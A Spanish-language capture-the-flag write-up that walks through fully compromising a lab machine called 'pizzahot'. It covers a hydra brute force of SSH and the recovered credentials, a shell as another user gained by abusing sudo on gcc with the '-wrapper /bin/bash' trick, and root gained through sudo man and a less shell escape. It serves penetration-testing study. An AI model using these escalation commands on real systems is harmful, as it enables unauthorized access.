Write-up – Máquina pizzahot

🎯Objetivo

Comprometer completamente la máquina **pizzahot**, obteniendo acceso **root**, documentando el proceso paso a paso con mentalidad OSCP.

Enumeración inicial

Escaneo de puertos

Se identificaron únicamente dos servicios expuestos:

- **22/tcp** – SSH
- **80/tcp** – HTTP

Esto ya sugiere un vector claro: web + posible reutilización de credenciales hacia SSH.

Enumeración web (HTTP – puerto 80)

Inspección manual

La web corresponde a una **plantilla pública** (`Yummy` de BootstrapMade). En el código fuente del `index.html` aparece un comentario relevante donde se menciona que algunos usuarios usan nombres como:

`pizzapiña`

Este detalle es clave y actúa como **pista directa de usuario**.

Enumeración de directorios

Usando `gobuster` se descubrieron:

- `/assets/`
- `/forms/`
- `/javascript/`

Dentro de `/forms/`:

- `contact.php`
- `book-a-table.php`

Ambos scripts PHP mostraban **el código fuente en claro**, lo que indica una **mala configuración del servidor** (PHP no interpretado en ese path).

Esto confirma que la web **no es el vector principal**, sino una distracción.

Ataque a SSH (credenciales)

Dado que: - El usuario `pizzapiña` aparece como pista - SSH está abierto

Se realizó un ataque de fuerza bruta con `hydra` contra el servicio SSH.

Resultado

Credenciales válidas encontradas:

- **Usuario:** `pizzapiña`
- **Contraseña:** `steven`

Acceso exitoso por SSH:

```
ssh pizzapiña@10.0.50.7
```

Usuario inicial y enumeración local

Dentro del sistema:

- `user.txt` indica que hay que seguir investigando
- Se descubre otro usuario local: `pizzasinpiña`

Ejecutando `sudo -l` como `pizzapiña`:

```
User pizzapiña may run the following commands on pizzahot:
    (pizzasinpiña) /usr/bin/gcc
```

Esto permite ejecutar **gcc como el usuario** `pizzasinpiña`.

Escalada lateral (pizzapiña → pizzasinpiña)

Aunque `sudo` solo permite ejecutar `/usr/bin/gcc`, **gcc permite ejecutar otros binarios mediante argumentos**.

🎞️Abuso de `gcc -wrapper`

El flag `-wrapper` permite indicar un programa que se ejecuta durante el proceso de compilación.

Comando explotado:

```
sudo -u pizzasinpiña /usr/bin/gcc -wrapper /bin/bash,-s .
```

Resultado

Shell obtenida como:

```
whoami
pizzasinpiña
```

Esto es un **abuso de argumentos no restringidos en sudo**.

Enumeración como pizzasinpiña

Ejecutando `sudo -l`:

```
User pizzasinpiña may run the following commands on pizzahot:
    (root) NOPASSWD: /usr/bin/man
    (ALL) NOPASSWD: /usr/bin/sudo -l
```

El binario `man` es ejecutable como **root sin contraseña**.

Escalada final a root (GTFOBins)

`man` utiliza el pager `less`, el cual permite ejecutar comandos del sistema.

🖌️Explotación

```
sudo /usr/bin/man man
```

Dentro del manual:

1. Pulsar `!`
2. Ejecutar:

```
/bin/bash
```

Acceso root

```
whoami
root
```

Lectura de la flag final:

```
cat /root/root.txt
```

🎤Conclusión

La máquina **pizzahot** combina:

- Pistas en código fuente
- Credenciales reutilizadas
- Mala configuración de sudo
- Abuso de binarios legítimos (GTFOBins)

Todo el proceso es **realista, OSCP-like y muy bien encadenado**.

✔️Máquina completamente comprometida.

🈹pizzahot – OWNED 🈹